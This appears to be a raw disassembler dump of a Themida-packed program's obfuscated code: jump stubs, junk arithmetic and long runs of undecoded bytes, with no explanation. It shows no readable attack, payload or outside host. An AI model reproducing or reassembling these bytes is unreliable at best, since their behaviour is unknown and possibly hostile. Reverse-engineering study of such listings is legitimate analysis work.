dd 74FF5202h, 148B0424h, 4C48324h, 0FFDB92E9h, 40E0D1FFh
dd 7048DA35h, 8BC3010Ah, 0C4832404h, 2434FF04h, 0FFAB85E9h
dd 0E9DDF7FFh, 0FFFFDF9Dh
; ---------------------------------------------------------------------------
loc_55C008: ; CODE XREF: Themida_:0055A96Fj
sub ebx, 0C3E15D8h
add [ebx], edx
mov ebx, [esp]
jmp loc_565BFE
; ---------------------------------------------------------------------------
dd 4EC81h, 3C890000h, 0E59FE924h, 405FFFFh, 2D000000h
dd 4, 5C240487h, 83242489h, 0E9042404h, 3F0Dh, 0E9240431h
dd 6F36h, 5758C331h, 0D11471BFh, 81DFF765h, 7F401BC7h
dd 0ACD7E9B8h, 0F829FFFFh, 0A8E95A5Fh, 59FFFF97h, 69A8EF81h
dd 0C3810AE9h, 38D66B2Fh, 0F3E9FB01h
db 5Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C07B: ; CODE XREF: Themida_:00560D36j
push ecx
jmp loc_561CF7
; ---------------------------------------------------------------------------
loc_55C081: ; CODE XREF: Themida_:0056406Ej
push dword ptr [esp]
pop esi
add esp, 4
mov [ebx], esi
mov esi, [esp]
add esp, 4
mov ebx, [esp]
jmp loc_55AE8C
; ---------------------------------------------------------------------------
loc_55C098: ; CODE XREF: Themida_:0055FB1Aj
add ebx, 4B1E4230h
mov eax, ebx
mov ebx, [esp]
push 4359h
jmp loc_556E22
; ---------------------------------------------------------------------------
db 81h, 0E9h, 4
dd 68000000h, 2F26h, 0FF240C89h, 59042474h, 8B24048Fh
dd 14892424h, 2474FF24h, 2434FF04h, 71CBE95Ah, 1C890000h
dd 2474FF24h, 241C8B04h, 8F04C483h, 665C2404h
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_555DC5
; ---------------------------------------------------------------------------
db 31h, 0F0h, 0E9h
dd 0FFFFFF40h, 1D3BED81h, 0E94571D5h, 885h, 4C181h, 40E90000h
dd 2D000035h, 7809597Bh, 7B05D029h, 8B780959h, 89502414h
dd 405E0h, 56510000h, 896C7EBEh, 0A4F68122h, 8115C540h
dd 0F967A1F6h, 40CE8102h, 55529E50h, 0BF5B7FBDh, 0B623E977h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C152: ; CODE XREF: Themida_:0055A890j
xor ebp, ebx
pop ebx
sub ebx, ebp
pop ebp
push ebx
push dword ptr [esp+4]
push dword ptr [esp]
pop ebx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_55C17D: ; CODE XREF: Themida_:0055D42Ej
and ebp, 386E3428h
push ebp
push eax
jmp loc_563087
; ---------------------------------------------------------------------------
loc_55C18A: ; CODE XREF: Themida_:0055D28Cj
mov edx, 64FF13A0h
or esi, edx
pop edx
add esi, 0FFFFFFFFh
push edx
mov edx, 15271EB3h
xor esi, edx
pop edx
jmp loc_55BA7E
; ---------------------------------------------------------------------------
db 81h
dd 0D2C988C3h, 0D6E9818Ch, 108A621h, 0D6C181D9h, 5B08A621h
dd 4C181h, 0C870000h, 24248B24h, 88FD8851h, 0E959872Ch
dd 0FFFFB002h, 8FE95150h, 53FFFF80h, 0BD555B54h, 55AF50E9h
dd 1ED81h, 81450000h, 1EDh, 9A6CE900h, 0C781FFFFh, 4, 8704C783h
dd 315C243Ch, 0C3815EF3h, 0D4E78EB2h, 2D1E9h
db 0
; ---------------------------------------------------------------------------
loc_55C20D: ; CODE XREF: Themida_:0055588Aj
inc edi
jmp loc_5535CB
; ---------------------------------------------------------------------------
loc_55C213: ; CODE XREF: Themida_:00554F8Aj
add ecx, 0F7BB08C6h
jmp loc_56592F
; ---------------------------------------------------------------------------
dw 0E0C0h
dd 30E03406h, 0C68658C6h, 0C686D0F6h, 177FE9h, 7B8EBB00h
dd 0EB810D72h, 9B6034EBh, 815BDE29h, 1F9013F6h, 5EF529ACh
dd 2C8BEE89h, 4C48324h, 6D76E9h, 55524600h, 0E73F9368h
dd 0B9C5E96Fh, 0ED81FFFFh, 0FFFFFFFFh, 9621E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C26E: ; CODE XREF: Themida_:00558C56j
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
mov ebx, [esp]
push edi
mov edi, esp
push 58E4h
mov [esp], esi
mov esi, 4
add edi, esi
pop esi
push edx
mov edx, 771F0703h
and edx, 5BEA774Bh
add edx, 0ACF5F901h
add edi, edx
pop edx
xchg edi, [esp]
pop esp
xchg esi, [esp]
pop esp
push dword ptr [esp]
jmp loc_559424
; ---------------------------------------------------------------------------
aIxs9 db '䌎9',0
dd 2C330000h, 0DE8FE924h, 0D629FFFFh, 0FFA6B6E9h, 3EBC1FFh
dd 1F93CB81h, 0F3874AC7h, 3101C683h, 31DE31F3h, 68F3h
dd 52E90000h, 8BFFFFB4h, 0C4832414h, 0DFE95304h, 81FFFF82h
dd 4C5h, 8212E900h, 39B9FFFFh, 0E961404Bh, 0FFFFF900h
dd 24048B66h, 0FF9A39E9h, 4C481FFh, 1000000h, 4EC81D8h
dd 89000000h, 0A9BA2414h, 2944B81Dh, 0EDB8E9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C332: ; CODE XREF: Themida_:00556876j
push dword ptr [esp]
jmp loc_568115
; ---------------------------------------------------------------------------
loc_55C33A: ; CODE XREF: Themida_:0055D01Aj
sub ecx, 4B4504EDh
jmp loc_5550E7
; ---------------------------------------------------------------------------
db 68h, 67h, 17h
dd 4890000h, 1B4CB824h, 0D0F713E8h, 71EAE940h, 0E3C1FFFFh
dd 84C38107h, 5E01473h, 21A67472h, 0EAE9D801h, 10000B0h
dd 0E9565AD6h, 0BCB1h, 0BB241C89h, 24762252h, 2AFEB81h
dd 0C3810941h, 0E4CAE061h, 0E95BD801h, 3C54h
; ---------------------------------------------------------------------------
loc_55C394: ; CODE XREF: Themida_:00565377j
shl edx, 4
neg edx
shl edx, 4
sub edx, 18DFA2FCh
add ebx, edx
pop edx
sub ebx, 4
jmp loc_5545EF
; ---------------------------------------------------------------------------
loc_55C3AD: ; CODE XREF: Themida_:0055BA80j
pop esi
push 74FAh
jmp loc_56378B
; ---------------------------------------------------------------------------
loc_55C3B8: ; CODE XREF: Themida_:005655A0j
push dword ptr [esp]
jmp loc_561809
; ---------------------------------------------------------------------------
loc_55C3C0: ; CODE XREF: Themida_:0055BEA9j
xchg esi, ebx
push 0D60h
jmp loc_55C90D
; ---------------------------------------------------------------------------
dd 0E9240C89h, 0FFFFB4B9h
; ---------------------------------------------------------------------------
loc_55C3D4: ; CODE XREF: Themida_:0055DD44j
add edx, 4
push eax
push edx
mov edx, 53AD1DE6h
add edx, 18FD2587h
sub edx, 0B74014Ah
inc edx
dec edx
add edx, 9EC9BDE1h
jmp loc_55DB55
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0B8240489h, 4, 6D48EB81h, 0C3017731h, 6D48C381h
dd 53587731h, 0FF7CCEE9h, 0FFD029FFh, 535A2434h, 0C381E389h
dd 4, 8704C383h, 0E95C241Ch, 0FFFF6800h
; ---------------------------------------------------------------------------
loc_55C438: ; CODE XREF: Themida_:005551B5j
push 753071DEh
jmp loc_5574C4
; ---------------------------------------------------------------------------
loc_55C442: ; CODE XREF: Themida_:00562FC6j
push dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 55E5h
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_563A0B
; ---------------------------------------------------------------------------
loc_55C476: ; CODE XREF: Themida_:00556A15j
add eax, 4
xchg eax, [esp]
pop esp
pop dword ptr [esp]
xor edi, ecx
xor ecx, edi
xor edi, ecx
jmp loc_55F364
; ---------------------------------------------------------------------------
db 53h
dd 0E2A68h, 0D1E95400h
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C497: ; CODE XREF: Themida_:00556504j
push 7638h
jmp loc_55653C
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 1000000h, 0C7815AD7h, 4, 0E9243C87h, 65EDh, 0C486C181h
dd 0C381D83Fh, 546730DDh, 0EB81CB01h, 546730DDh, 51240C8Bh
dd 5AE9E189h
db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C4D7: ; CODE XREF: Themida_:0056528Fj
add ecx, edx
jmp loc_55C5C5
; ---------------------------------------------------------------------------
dw 0DE01h
dd 0B69E9h, 241C8700h, 1168555Ch, 8900001Ah, 4832424h
dd 815D0424h, 4C5h, 4BA5200h, 0E9000000h, 6928h, 405h
dd 0B91BE900h, 3C87FFFFh, 24248B24h, 0F748D8F7h, 4EC81D0h
dd 89000000h, 0BF57240Ch, 48560923h, 415FF989h, 2981C981h
dd 0E9410D08h, 491Fh, 311926B8h, 58C53121h, 0F703EDC1h
dd 0FFC581DDh, 0E9FFFFFFh, 0FFFF8F24h, 251B850h, 0E8C11C52h
dd 0BC670507h, 3BE9066Bh
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C567: ; CODE XREF: Themida_:0056776Aj
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and ebx, edx
pop edx
or ebx, ebx
jmp loc_56162A
; ---------------------------------------------------------------------------
dd 0BF243C89h, 44A33640h, 0FEC7814Fh, 4777524Eh, 9DEAC781h
dd 2E97920h, 8100003Ah, 316A29EDh, 2FD6E9FFh, 31AD0000h
dd 51A2E9D8h, 0F9290000h, 0FCCE981h, 0E981594Bh, 5A613371h
dd 7C6DE9h
db 0
; ---------------------------------------------------------------------------
loc_55C5C5: ; CODE XREF: Themida_:0055C4D9j
pop edx
jmp loc_55F185
; ---------------------------------------------------------------------------
aWus db 'WUé]}',0
align 2
dw 0DD01h
dd 4F57C581h, 6CE905E9h, 8B00006Fh, 0C4812404h, 4, 8CA7E9h
dd 0D0005900h, 53C8045Ah, 0B9E9C4B7h, 31FFFF66h, 0F78159CFh
dd 35EB7324h, 0FFD0A1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C609: ; CODE XREF: Themida_:0055724Fj
mov ebx, 0F785558h
not ebx
shl ebx, 5
push esi
push ebp
push 102B64D6h
jmp loc_5549AC
; ---------------------------------------------------------------------------
db 8Bh
dd 54502404h, 3858E9h, 40685C00h, 89000011h, 6855243Ch
dd 0EBA0FA3h, 0FFB27DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C63D: ; CODE XREF: Themida_:00560346j
push ecx
push 7AC612C3h
jmp loc_55D69C
; ---------------------------------------------------------------------------
loc_55C648: ; CODE XREF: Themida_:0055DA6Cj
push dword ptr [esp]
jmp loc_557EA4
; ---------------------------------------------------------------------------
dd 0E92434FFh, 0FFFFC5A9h, 68240489h, 306Dh, 3373E9h
db 0
; ---------------------------------------------------------------------------
loc_55C665: ; CODE XREF: Themida_:00563C0Ej
or ebp, 606C02BFh
jmp loc_563E5A
; ---------------------------------------------------------------------------
loc_55C670: ; CODE XREF: Themida_:0055B703j
mov edi, 4D19772Dh
xor eax, edi
pop edi
jmp loc_55B66C
; ---------------------------------------------------------------------------
loc_55C67D: ; CODE XREF: Themida_:0056375Aj
neg esi
inc esi
jmp loc_55E2A7
; ---------------------------------------------------------------------------
db 81h, 0EDh, 57h
dd 0E905E94Fh, 0FFFFFF42h, 148B5452h, 4C48324h, 4EC81h
dd 0BE90000h, 87FFFFF8h, 30E92404h, 0FEFFFFDCh, 5BF680CEh
dd 921E9h
db 0
; ---------------------------------------------------------------------------
loc_55C6B5: ; CODE XREF: Themida_:00555912j
mov [esp], ecx
not dword ptr [esp]
pop ecx
jmp loc_5597AB
; ---------------------------------------------------------------------------
loc_55C6C1: ; CODE XREF: Themida_:00553376j
add esp, 4
pop edi
push ebp
push 2DD3h
mov [esp], edx
jmp loc_559E29
; ---------------------------------------------------------------------------
db 81h
dd 3E4288EFh, 8BFA2940h, 0C483243Ch, 0EDB85004h, 0E9022273h
dd 9615h, 4C781h, 0EF810000h, 4, 1F4D68h, 243C8900h, 42474FFh
dd 0FFDDE2E9h, 24048FFFh, 0FFCE95E9h, 0C6814EFFh, 0A011310Eh
dd 0E95EF001h, 112Dh, 7CFDE952h, 48BFFFFh, 0E7895724h
dd 68515653h, 765E0EDFh, 0E9240C8Bh, 3FB9h, 83D830ACh
dd 148904ECh, 87E6824h, 0C890000h, 0E946B124h, 8631h, 0EB81F301h
dd 0C1D1E44h, 8324348Bh, 0BBE904C4h, 40000028h, 10E28192h
dd 813E8171h, 13014F2h, 0BFC58130h, 1348819h, 0D57BE9D5h
dd 0BD55FFFFh, 264F1B76h, 304468h, 24148900h, 0C87BB53h
dd 0EBC13026h, 81C38107h, 4B02DC3Ah, 0FFCD6FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C7A5: ; CODE XREF: Themida_:00567345j
xor eax, [esp]
jmp loc_566B6A
; ---------------------------------------------------------------------------
db 55h, 0BDh, 68h
dd 811A2E39h, 950267EDh, 0B6ED8163h, 8157F067h, 0C35907C5h
dd 5DEA89E9h, 4414BF57h, 0FA2919D3h, 0BA52535Fh, 1320782Ah
dd 7BE9D2F7h, 0BF0000B0h, 4, 0B1E9F801h
db 82h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C7EB: ; CODE XREF: Themida_:00565C59j
add esp, 4
jmp loc_567BA2
; ---------------------------------------------------------------------------
loc_55C7F3: ; CODE XREF: Themida_:005617D0j
mov ebx, 4
jmp loc_564D17
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 326E9h, 8BE80100h, 0C483242Ch, 24048704h, 6624248Bh
dd 1DE930FFh
db 64h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C81B: ; CODE XREF: Themida_:0056709Aj
push eax
mov eax, 29D76B31h
sub edx, eax
pop eax
add edx, ebp
sub esp, 4
mov [esp], edi
mov edi, 29D76B31h
add edx, edi
pop edi
pop ebp
xchg edx, [esp]
jmp loc_56101C
; ---------------------------------------------------------------------------
db 29h, 0EFh, 0E9h
dd 4603h, 0EA8C681h, 0DEF72FD0h, 8107E6C1h, 71BF1DEEh
dd 0E9F08978h, 0FFFFE249h, 7124B068h, 241C8B58h, 4C481h
dd 56500000h, 313583BEh, 4815606h, 8B618224h, 822D5807h
dd 5E078B61h, 0C52DD0F7h, 0F7060C2Eh, 53D0F7D0h, 0D4B224BBh
dd 5BD831D8h, 8158C301h, 874E41F3h, 4EC8183h, 89000000h
dd 0EC83240Ch, 243C8904h, 0F989DF89h, 59CE895Fh, 4FBEE9h
dd 5F545700h, 4C781h, 0C7830000h, 1260E904h, 16680000h
dd 89000050h, 0E789243Ch, 4C781h, 0C7830000h, 243C8704h
dd 669E9h, 47E95400h
db 71h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C8EB: ; CODE XREF: Themida_:00561BE8j
mov ecx, 525540B7h
and ecx, 240198Bh
jmp loc_559281
; ---------------------------------------------------------------------------
loc_55C8FB: ; CODE XREF: Themida_:005572A8j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_553266
; ---------------------------------------------------------------------------
dw 0F800h
dd 64C3E9h
db 0
; ---------------------------------------------------------------------------
loc_55C90D: ; CODE XREF: Themida_:0055C3C7j
mov [esp], eax
mov eax, 77B3334Ah
push edi
mov edi, 0FFFFFFFFh
add eax, edi
mov edi, [esp]
add esp, 4
push 611Ch
mov [esp], edx
push ebx
push 2CE334D8h
pop ebx
or ebx, 66F6630Bh
jmp loc_55D5DD
; ---------------------------------------------------------------------------
db 89h, 0E3h, 81h
dd 4C3h, 4EB8100h, 0E9000000h, 0FFFFD436h
; ---------------------------------------------------------------------------
loc_55C950: ; CODE XREF: Themida_:00555079j
add ebp, 4
xchg ebp, [esp]
pop esp
push 3585h
mov [esp], eax
sub esp, 4
mov [esp], esp
push ebp
mov ebp, esp
add ebp, 4
jmp loc_555E34
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 30FDE9h
db 0
; ---------------------------------------------------------------------------
loc_55C981: ; CODE XREF: Themida_:00556572j
xchg edi, [esp]
pop esp
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_556DEF
; ---------------------------------------------------------------------------
db 83h, 0C5h, 1
dd 652268h, 6783E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C99E: ; CODE XREF: Themida_:005584A1j
pop esp
xchg ecx, [esp]
jmp loc_5626E7
; ---------------------------------------------------------------------------
loc_55C9A7: ; CODE XREF: Themida_:00563071j
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
xor ebx, [esp]
jmp loc_5566BA
; ---------------------------------------------------------------------------
aHD db '[hßD',0
align 2
dw 0C89h
dd 2474FF24h, 48F5904h, 24248B24h, 83240C8Bh, 3C8904ECh
dd 947FE924h, 0DEF7FFFFh, 0F681DEF7h, 5292FCCh, 0BAC0C681h
dd 0F589FCDEh, 2DE9455Eh, 66000058h, 0E9240C8Bh, 0FFFFBCAEh
dd 0FFFFE981h, 0E9D1FFFFh, 7EAAC181h, 0C8896753h, 50240C8Bh
dd 0BA52E089h, 4, 0E95AD001h, 6430h, 8035EA80h, 0D50029EAh
dd 0FFEA69E9h, 2AC780FFh, 80DBF780h, 0C7FE83CFh, 0C095B151h
dd 0D1F607E9h, 801DC980h, 56E995E9h, 810000B4h, 3253242Ch
dd 81591105h, 53253C1h, 241C8B11h, 0FF9D7AE9h, 0FCEA81FFh
dd 14A4181h, 26685AD6h, 0E900006Eh, 0A898h
; ---------------------------------------------------------------------------
loc_55CA78: ; CODE XREF: Themida_:00565953j
mov eax, 55B3296h
shr eax, 4
not eax
not eax
jmp loc_5589A0
; ---------------------------------------------------------------------------
db 5Ah, 31h, 0C3h
dd 80C9B551h, 8352CEE5h, 4DE904ECh, 6600007Dh, 0E924048Bh
dd 0FFFFDE42h
; ---------------------------------------------------------------------------
loc_55CAA4: ; CODE XREF: Themida_:00565472j
mov [esp], eax
mov eax, 400h
mov ecx, eax
mov eax, [esp]
push 314h
jmp loc_553ECF
; ---------------------------------------------------------------------------
dd offset dword_445750+1718h
align 10h
dd 6A4E9h, 0F9C28100h, 1259067h, 34875AD6h, 61E95C24h
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CAD7: ; CODE XREF: Themida_:005670D0j
mov al, 0C4h
sub bl, al
jmp loc_55EDD6
; ---------------------------------------------------------------------------
dd 3FC71A35h, 58C101A1h, 8B240C87h, 3CD22424h, 41E99C24h
dd 0F7FFFF61h, 5EEE81D6h, 1F27751h, 0EA015EF5h, 81242C8Bh
dd 4C4h, 81FA0100h, 0F0D7CEAh, 14875F51h, 24248B24h, 0FFE0F0E9h
dd 73BAB8FFh, 1DE9187Ch, 81FFFFF5h, 4C4h, 4BD42D00h, 685346C4h
dd 61C1h, 0BA241489h, 36AC773Ch, 0E4A2F4BBh, 5AD301CDh
dd 0AC1EE9h, 247C2900h, 2434FF04h, 0E9243C8Bh, 0FFFFC512h
dd 0BF243C89h, 5C5477EAh, 7626E981h, 0C1811019h, 4D097525h
dd 3371C181h, 0C1815A61h, 594B0FCCh, 0FFFA2DE9h, 5AD301FFh
dd 4C381h, 1C870000h, 0A1E95C24h
db 60h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CB97: ; CODE XREF: Themida_:0055BC26j
mov edx, ebp
pop ebp
and eax, edx
mov edx, [esp]
add esp, 4
jmp loc_5627F6
; ---------------------------------------------------------------------------
loc_55CBAA: ; CODE XREF: Themida_:005614B5j
mov edx, 663343C9h
jmp loc_562166
; ---------------------------------------------------------------------------
dd 9234E94Fh, 0C483FFFFh, 45E28002h, 0E9D18851h, 484Bh
dd 50C468ACh, 4CE90000h, 88000067h, 240C8BCAh, 4C481h
dd 22E90000h, 810000A0h, 4C7h, 46B8E900h, 0BA660000h, 166E21Eh
dd 0A588E9C2h, 6659FFFFh, 813AE95Bh, 3C8B0000h, 4C48124h
dd 81000000h, 4C4h, 2C68100h, 87000000h, 248B2434h, 24D36624h
dd 11E99C24h, 5AFFFF60h, 0FFCB9FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55CC2D: ; CODE XREF: Themida_:00566F28j
mov [esp], ebp
jmp loc_554D8B
; ---------------------------------------------------------------------------
loc_55CC35: ; CODE XREF: Themida_:00561F20j
xor edi, edx
jmp loc_5580F7
; ---------------------------------------------------------------------------
dd 2D08E8C1h, 535BCBB5h, 0F0E9C529h, 0BA000040h, 4, 875AD629h
dd 895C2434h, 0FFE9242Ch
db 85h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CC5F: ; CODE XREF: Themida_:00559453j
mov edi, 65605BE9h
or edi, 78D91500h
shl edi, 1
not edi
shr edi, 2
jmp loc_5618EF
; ---------------------------------------------------------------------------
dw 0FBBh
dd 31414C39h, 0D8E95BD8h, 41FFFF71h, 0E956D9F7h, 1A36h
; ---------------------------------------------------------------------------
loc_55CC8C: ; CODE XREF: Themida_:00558D74j
mov esi, 68411DA1h
not esi
sub esi, 0E25C4D8Fh
sub eax, esi
pop esi
jmp loc_5587D4
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 4EC8156h, 0E9000000h, 568Bh
; ---------------------------------------------------------------------------
loc_55CCB0: ; CODE XREF: Themida_:00562538j
and eax, ecx
pop ecx
or eax, eax
jz loc_55686C
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_556DD7
; ---------------------------------------------------------------------------
loc_55CCC6: ; CODE XREF: Themida_:00561ECCj
add dword ptr [esp+4], 4BAB7E16h
jmp loc_56375F
; ---------------------------------------------------------------------------
db 5Bh
dd 0FFEF04E9h, 0DFE981FFh, 817BF925h, 0B3016E9h, 0C1E9D17Fh
dd 65E903E9h, 51FFFFA5h, 0A2E9E7B5h, 29000042h, 0F0BBE9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5669B7
; ---------------------------------------------------------------------------
aSG db ')ÆéÈ£',0
db 0
; ---------------------------------------------------------------------------
loc_55CD0D: ; CODE XREF: Themida_:00556E01j
pop ebx
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
jmp loc_560907
; ---------------------------------------------------------------------------
dw 0D501h
dd 3CDDC581h, 148B58B1h, 4C48324h, 2E3168h, 242C8900h
dd 42474FFh, 5D2434FFh, 0E904C483h, 0FFFF9B61h, 0D8ECE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CD5A: ; CODE XREF: Themida_:00565D94j
mov [esp], ecx
jmp loc_55E563
; ---------------------------------------------------------------------------
dw 0D731h
dd 5CEF815Ah, 0E97C4140h, 1893h, 54E1C581h, 0EC817209h
dd 4, 0E9243489h, 0FFFF8F65h, 0D931CB31h, 0D1F7CB31h, 0C7E9CB87h
dd 56FFFFF5h, 0A87FB6BEh, 6EEC130h, 0A1FAEE81h, 0F10100C2h
dd 4C1815Eh, 0E9000000h, 6773h, 4C781h, 0C7830000h, 74FF5704h
dd 8F5F0424h, 248B2404h, 857DE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CDCA: ; CODE XREF: Themida_:00553ADAj
pop ecx
push eax
mov eax, 6BF909A7h
add ebx, eax
pop eax
push edx
mov edx, 54423BFAh
inc edx
add edx, 443075D1h
shl edx, 6
xchg ecx, edx
jmp loc_55B332
; ---------------------------------------------------------------------------
db 81h
dd 96F08CEAh, 5AD029ECh, 0FFA2B2E9h, 0CE8058FFh, 4E6C0B1h
dd 0EE80D6F6h, 0DDEE8092h, 0FF7A72E9h, 0FCF281FFh, 0E9016E15h
dd 0FFFFF130h, 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF5E10h
dd 24048B66h, 8904EC83h, 0E389241Ch, 4EC81h, 2C890000h
dd 7593BD24h, 0E5C13D75h, 945BE905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CE4A: ; CODE XREF: Themida_:005559CBj
mov edi, 51344074h
and ebx, edi
pop edi
sub ebx, 212B7661h
push eax
mov eax, 77C364A0h
neg eax
add eax, 0D33CA066h
push 34CEh
mov [esp], edi
mov edi, 0F8A2345h
jmp loc_560FCD
; ---------------------------------------------------------------------------
db 35h
dd 3CE31C56h, 0A0E5E9h, 24248B00h, 8324048Bh, 0ECE904C4h
dd 8BFFFF94h, 8B662424h, 83502404h, 248904ECh, 68555224h
dd 41827536h, 0BCF5815Dh, 4D770D1Ch, 0B76CC581h, 0EA89D9BCh
dd 0E6E9425Dh, 89FFFF73h, 0AE95FFBh, 66FFFFF4h, 5966CA01h
dd 7D36E9h, 28270400h, 15A268C8h, 14890000h, 2827B224h
dd 67AAE9D0h, 1C8BFFFFh, 4C48124h, 53000000h, 317CE9h
dd 0A4C28100h, 0F7085261h, 0BEF281DAh, 81426A54h, 637C70C1h
dd 625FE914h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CF0A: ; CODE XREF: Themida_:0055F80Aj
sub esi, 42833CE8h
jmp loc_564884
; ---------------------------------------------------------------------------
loc_55CF15: ; CODE XREF: Themida_:00559959j
push dword ptr [esp+4]
jmp loc_558337
; ---------------------------------------------------------------------------
dw 0C483h
dd 9DE6BB04h, 0C3018229h, 8324048Bh, 0C28104C4h, 6EBC4CC9h
dd 40E3EA81h, 0DA011EB8h, 40E3C281h, 0EA811EB8h, 6EBC4CC9h
dd 0AF8CE95Bh, 0E95C0000h, 0AB1Ah, 34DEF681h, 0C6813D9Eh
dd 8F68A406h, 24E9F029h
db 84h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CF67: ; CODE XREF: Themida_:0055F931j
mov ebp, 6F780B4Ch
sub ebx, ebp
pop ebp
add ebx, edi
add ebx, 6F780B4Ch
jmp loc_563CAE
; ---------------------------------------------------------------------------
dd 0FEA8158h, 8156B052h, 0CC35D2EAh, 5CAAE921h, 248BFFFFh
dd 240C8924h, 88D38853h, 80E95BDDh, 0BEFFFFA7h, 35864F04h
dd 0FF6ECAE9h, 56E281FFh, 0E9506D60h, 1E91h, 6858C229h
dd 7F5Ah, 68242C89h, 73172C4h, 5DEA295Dh, 83242C8Bh, 148704C4h
dd 0ACE2E924h, 0F32CFFFFh, 0F304F000h, 8124148Bh, 4C4h
dd 2434FF00h, 6313E95Ah, 89660000h, 38B62414h, 5A66F420h
dd 0FE65B151h, 0E9C1FEC1h, 986h, 2474FF50h, 48F5804h, 9D4AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D012: ; CODE XREF: Themida_:0055AB2Bj
add ecx, ebx
sub ecx, 23255C66h
jmp loc_55C33A
; ---------------------------------------------------------------------------
db 59h
dd 348BF289h, 4C48124h, 50000000h, 0B8h, 0E9D02900h, 1CD8h
dd 4C481h, 0F5E90000h, 870000A5h, 248B241Ch, 970DE924h
dd 875B0000h, 72E92434h
db 8Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D057: ; CODE XREF: Themida_:00554604j
push eax
mov eax, 32CE2160h
and edx, eax
pop eax
shl edx, 5
inc edx
add edx, 0FECC602Ah
jmp loc_564427
; ---------------------------------------------------------------------------
db 83h
dd 0FF042404h, 348B2434h, 4C48124h, 0E9000000h, 0FFFF8392h
; ---------------------------------------------------------------------------
loc_55D084: ; CODE XREF: Themida_:0055B610j
neg ecx
jmp loc_55FAF6
; ---------------------------------------------------------------------------
loc_55D08B: ; CODE XREF: Themida_:00562F65j
add ebx, 0FD117357h
xor edi, ebx
pop ebx
not edi
shr edi, 3
and edi, 7D437D05h
push ebp
mov ebp, 4DD9098Bh
xor edi, ebp
pop ebp
jmp loc_554058
; ---------------------------------------------------------------------------
db 0E9h, 86h, 5Bh
dd 77FFFFFFh, 5B7EE940h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D0BA: ; CODE XREF: Themida_:0055AF04j
push 2BD1h
mov [esp], ecx
push edi
mov edi, 0B386F4Eh
mov ecx, 1E3D004Dh
jmp loc_558FCE
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 4C481h, 89510000h, 6E957E1h, 8900006Ch, 45682404h
dd 89000045h, 4812424h, 424h, 9FD6E900h, 50BBFFFFh, 4320541Dh
dd 0C106EBC1h, 0F38103EBh, 334C60C3h, 69E9DF29h, 83000000h
dd 0BA52FFE8h, 10B37DBFh, 2028E281h, 0EAC1305Fh, 52E28102h
dd 0F75B5942h, 0A2C281DAh, 0E9712600h, 0FFFFB543h
; ---------------------------------------------------------------------------
loc_55D13C: ; CODE XREF: Themida_:00557075j
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_55A5D6
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd offset loc_41FD68
dd 241C8900h, 0C617BA68h, 2434FF26h, 4EC835Bh, 59DCE9h
dd 24148900h, 42474FFh, 24048F5Ah, 6624248Bh, 0E9240489h
dd 0FFFF5AB8h, 2434FF5Bh, 75B0685Eh, 3AE90000h, 2DFFFFE2h
dd 2F7C5580h, 8005F029h, 0FF2F7C55h, 348B2434h, 5E7FE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D1A6: ; CODE XREF: Themida_:00555FF1j
shr edx, 5
jmp loc_55B622
; ---------------------------------------------------------------------------
dw 0FE01h
dd 9E0EE81h, 0EE815E12h, 20780222h, 56243C8Bh, 0C681E689h
dd 4, 0FFBCB0E9h
